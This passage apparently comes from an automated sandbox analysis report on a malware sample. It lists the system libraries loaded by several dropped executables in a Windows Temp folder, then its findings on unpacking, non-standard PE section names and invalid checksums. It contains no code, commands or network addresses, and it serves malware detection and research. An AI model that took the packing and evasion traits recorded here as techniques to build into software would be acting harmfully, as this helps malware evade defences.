Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: file.exe Static file information: File size 2964480 > 1048576
Source: file.exe Static PE information: Raw size of udbvbywm is bigger than: 0x100000 < 0x2aa600

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe Unpacked PE file: 4.2.KGMUJDGOAL6LWD7UD45LIZ.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe Unpacked PE file: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 9.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Unpacked PE file: 10.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Unpacked PE file: 28.2.a4769912c1.exe.ec0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe Unpacked PE file: 32.2.7617eef03d.exe.310000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe Unpacked PE file: 34.2.a4769912c1.exe.ec0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe Unpacked PE file: 37.2.48bf814d33.exe.2a0000.0.unpack :EW;.rsrc :W;.idata :W;udbvbywm:EW;kynijqbn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;udbvbywm:EW;kynijqbn:EW;.taggant:EW;
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 6_2_001B42DE
Entry point lies outside standard sections
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
PE file contains an invalid checksum
Source: 9b7d422018.exe.26.dr Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: 66c6d84346.exe.26.dr Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 20b68761b3.exe.26.dr Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: 768041f87c.exe.26.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: a4769912c1.exe.26.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 48bf814d33.exe.26.dr Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: skotes.exe.4.dr Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: random[1].exe.26.dr Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: file.exe Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: random[1].exe0.26.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 7617eef03d.exe.26.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 572c19a989.exe.26.dr Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
PE file contains sections with non-standard names
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name: udbvbywm
Source: file.exe Static PE information: section name: kynijqbn
Source: file.exe Static PE information: section name: .taggant
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: evwdyikk
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: ewgqkdfw
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr Static PE information: section name: .taggant
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: .rsrc
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: .idata
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: yuntpzro
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: dfroebje
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr Static PE information: section name: .taggant
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: .idata
Source: skotes.exe.4.dr Static PE information: section name:
Source: skotes.exe.4.dr Static PE information: section name: evwdyikk
Source: skotes.exe.4.dr Static PE information: section name: ewgqkdfw
Source: skotes.exe.4.dr Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.21.dr Static PE information: section name: .rodata
Source: random[1].exe.26.dr Static PE information: section name:
Source: random[1].exe.26.dr Static PE information: section name: .rsrc
Source: random[1].exe.26.dr Static PE information: section name: .idata
Source: random[1].exe.26.dr Static PE information: section name: udbvbywm
Source: random[1].exe.26.dr Static PE information: section name: kynijqbn
Source: random[1].exe.26.dr Static PE information: section name: .taggant
Source: 9b7d422018.exe.26.dr Static PE information: section name:
Source: 9b7d422018.exe.26.dr Static PE information: section name: .rsrc
Source: 9b7d422018.exe.26.dr Static PE information: section name: .idata
Source: 9b7d422018.exe.26.dr Static PE information: section name: udbvbywm
Source: 9b7d422018.exe.26.dr Static PE information: section name: kynijqbn
Source: 9b7d422018.exe.26.dr Static PE information: section name: .taggant
Source: random[1].exe0.26.dr Static PE information: section name:
Source: random[1].exe0.26.dr Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr Static PE information: section name: .idata
Source: random[1].exe0.26.dr Static PE information: section name:
Source: random[1].exe0.26.dr Static PE information: section name: yuntpzro
Source: random[1].exe0.26.dr Static PE information: section name: dfroebje
Source: random[1].exe0.26.dr Static PE information: section name: .taggant
Source: a4769912c1.exe.26.dr Static PE information: section name:
Source: a4769912c1.exe.26.dr Static PE information: section name: .rsrc
Source: a4769912c1.exe.26.dr Static PE information: section name: .idata
Source: a4769912c1.exe.26.dr Static PE information: section name:
Source: a4769912c1.exe.26.dr Static PE information: section name: yuntpzro
Source: a4769912c1.exe.26.dr Static PE information: section name: dfroebje
Source: a4769912c1.exe.26.dr Static PE information: section name: .taggant
Source: 48bf814d33.exe.26.dr Static PE information: section name:
Source: 48bf814d33.exe.26.dr Static PE information: section name: .rsrc
Source: 48bf814d33.exe.26.dr Static PE information: section name: .idata
Source: 48bf814d33.exe.26.dr Static PE information: section name: udbvbywm
Source: 48bf814d33.exe.26.dr Static PE information: section name: kynijqbn
Source: 48bf814d33.exe.26.dr Static PE information: section name: .taggant
Source: 7617eef03d.exe.26.dr Static PE information: section name:
Source: 7617eef03d.exe.26.dr Static PE information: section name: .rsrc
Source: 7617eef03d.exe.26.dr Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr Static PE information: section name:
Source: 7617eef03d.exe.26.dr Static PE information: section name: yuntpzro
Source: 7617eef03d.exe.26.dr Static PE information: section name: dfroebje
Source: 7617eef03d.exe.26.dr Static PE information: section name: .taggant
Source: 20b68761b3.exe.26.dr Static PE information: section name:
